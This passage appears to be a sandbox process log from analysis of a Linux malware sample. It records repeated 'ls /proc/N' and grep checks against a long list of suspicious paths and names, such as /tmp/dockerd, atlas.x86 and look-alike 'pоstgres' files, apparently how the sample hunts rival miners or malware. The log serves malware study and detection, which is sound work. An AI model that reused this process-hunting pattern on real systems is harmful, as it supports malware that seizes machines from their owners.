- /bin/grep
  grep -q systemd
  2⤵
  PID:1129
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1131
- /bin/grep
  grep exe
  2⤵
  PID:1134
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:1133
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1136
- /bin/grep
  grep -q systemd
  2⤵
  PID:1138
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1140
- /bin/ls
  ls -latrh /proc/442
  2⤵
  PID:1142
- /bin/grep
  grep exe
  2⤵
  PID:1143
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1145
- /bin/grep
  grep -q systemd
  2⤵
  PID:1147
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1149
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:1151
- /bin/grep
  grep exe
  2⤵
  PID:1152
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1154
- /bin/grep
  grep -q systemd
  2⤵
  PID:1156
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1158
- /bin/grep
  grep exe
  2⤵
  PID:1161
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1160
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1163
- /bin/grep
  grep -q systemd
  2⤵
  PID:1165
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1167
- /bin/grep
  grep exe
  2⤵
  PID:1170
- /bin/ls
  ls -latrh /proc/672
  2⤵
  PID:1169
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1172
- /bin/grep
  grep -q systemd
  2⤵
  PID:1174
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1176
- /bin/grep
  grep exe
  2⤵
  PID:1179
- /bin/ls
  ls -latrh /proc/68
  2⤵
  PID:1178
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1181
- /bin/grep
  grep -q systemd
  2⤵
  PID:1183
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1185
- /bin/grep
  grep exe
  2⤵
  PID:1188
- /bin/ls
  ls -latrh /proc/688
  2⤵
  PID:1187
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1190
- /bin/grep
  grep -q systemd
  2⤵
  PID:1193
- /bin/grep
  grep -q deleted
  2⤵
  PID:1196
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1198
- /bin/ls
  ls -latrh /proc/689
  2⤵
  PID:1201
- /bin/grep
  grep exe
  2⤵
  PID:1202
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1205
- /bin/grep
  grep -q systemd
  2⤵
  PID:1207
- /bin/grep
  grep -q deleted
  2⤵
  PID:1210
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1213
- /bin/grep
  grep exe
  2⤵
  PID:1216
- /bin/ls
  ls -latrh /proc/69
  2⤵
  PID:1215
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1219
- /bin/grep
  grep -q systemd
  2⤵
  PID:1222
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1224
- /bin/ls
  ls -latrh /proc/694
  2⤵
  PID:1227
- /bin/grep
  grep exe
  2⤵
  PID:1228
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1231
- /bin/grep
  grep -q systemd
  2⤵
  PID:1233
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1236
- /bin/ls
  ls -latrh /proc/695
  2⤵
  PID:1239
- /bin/grep
  grep exe
  2⤵
  PID:1240
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1242
- /bin/grep
  grep -q systemd
  2⤵
  PID:1245
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1248
- /bin/grep
  grep exe
  2⤵
  PID:1251
- /bin/ls
  ls -latrh /proc/7
  2⤵
  PID:1250
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1254
- /bin/grep
  grep -q systemd
  2⤵
  PID:1257
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1259
- /bin/grep
  grep exe
  2⤵
  PID:1263
- /bin/ls
  ls -latrh /proc/70
  2⤵
  PID:1262
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1266
- /bin/grep
  grep -q systemd
  2⤵
  PID:1268
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1271
- /bin/grep
  grep exe
  2⤵
  PID:1275
- /bin/ls
  ls -latrh /proc/71
  2⤵
  PID:1274
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1277
- /bin/grep
  grep -q systemd
  2⤵
  PID:1280
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1283
- /bin/grep
  grep exe
  2⤵
  PID:1286
- /bin/ls
  ls -latrh /proc/713
  2⤵
  PID:1285
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1289
- /bin/grep
  grep -q systemd
  2⤵
  PID:1291
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1294
- /bin/grep
  grep exe
  2⤵
  PID:1297
- /bin/ls
  ls -latrh /proc/715
  2⤵
  PID:1296
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1300
- /bin/grep
  grep -q systemd
  2⤵
  PID:1303
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1305
- /bin/grep
  grep exe
  2⤵
  PID:1309
- /bin/ls
  ls -latrh /proc/72
  2⤵
  PID:1308
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1312
- /bin/grep
  grep -q systemd
  2⤵
  PID:1314
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1317
- /bin/ls
  ls -latrh /proc/720
  2⤵
  PID:1320
- /bin/grep
  grep exe
  2⤵
  PID:1321
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1323
- /bin/grep
  grep -q systemd
  2⤵
  PID:1325
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1327
- /bin/grep
  grep exe
  2⤵
  PID:1330
- /bin/ls
  ls -latrh /proc/721
  2⤵
  PID:1329
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1332
- /bin/grep
  grep -q systemd
  2⤵
  PID:1334
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1336
- /bin/grep
  grep exe
  2⤵
  PID:1339
- /bin/ls
  ls -latrh /proc/722
  2⤵
  PID:1338
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1341
- /bin/grep
  grep -q systemd
  2⤵
  PID:1343
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1345
- /bin/grep
  grep exe
  2⤵
  PID:1348
- /bin/ls
  ls -latrh /proc/724
  2⤵
  PID:1347
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1350
- /bin/grep
  grep -q systemd
  2⤵
  PID:1352
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1354
- /bin/grep
  grep exe
  2⤵
  PID:1357
- /bin/ls
  ls -latrh /proc/726
  2⤵
  PID:1356
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1359
- /bin/grep
  grep -q systemd
  2⤵
  PID:1361
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1363
- /bin/grep
  grep exe
  2⤵
  PID:1366
- /bin/ls
  ls -latrh /proc/729
  2⤵
  PID:1365
- /bin/grep
  grep -q "/tmp/init\\|/tmp/mysql\\|/var/tmp/lib\\|/bin/softirq\\|mcrnlhoy\\|/tmp/.p.psi\\|/tmp/.r.rpk\\|/tmp/dockerd\\|/tmp/docker-daemon\\|/tmp/.perf.c\\|/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1368
- /bin/grep
  grep -q systemd
  2⤵
  PID:1370
- /bin/grep
  grep -q "/usr/local/bin/postgres\\|bin/postgres"
  2⤵
  PID:1372
- /bin/grep
  grep exe
  2⤵
  PID:1375
- /bin/ls
  ls -latrh /proc/73
  2⤵
  PID:1374
- /bin/grep
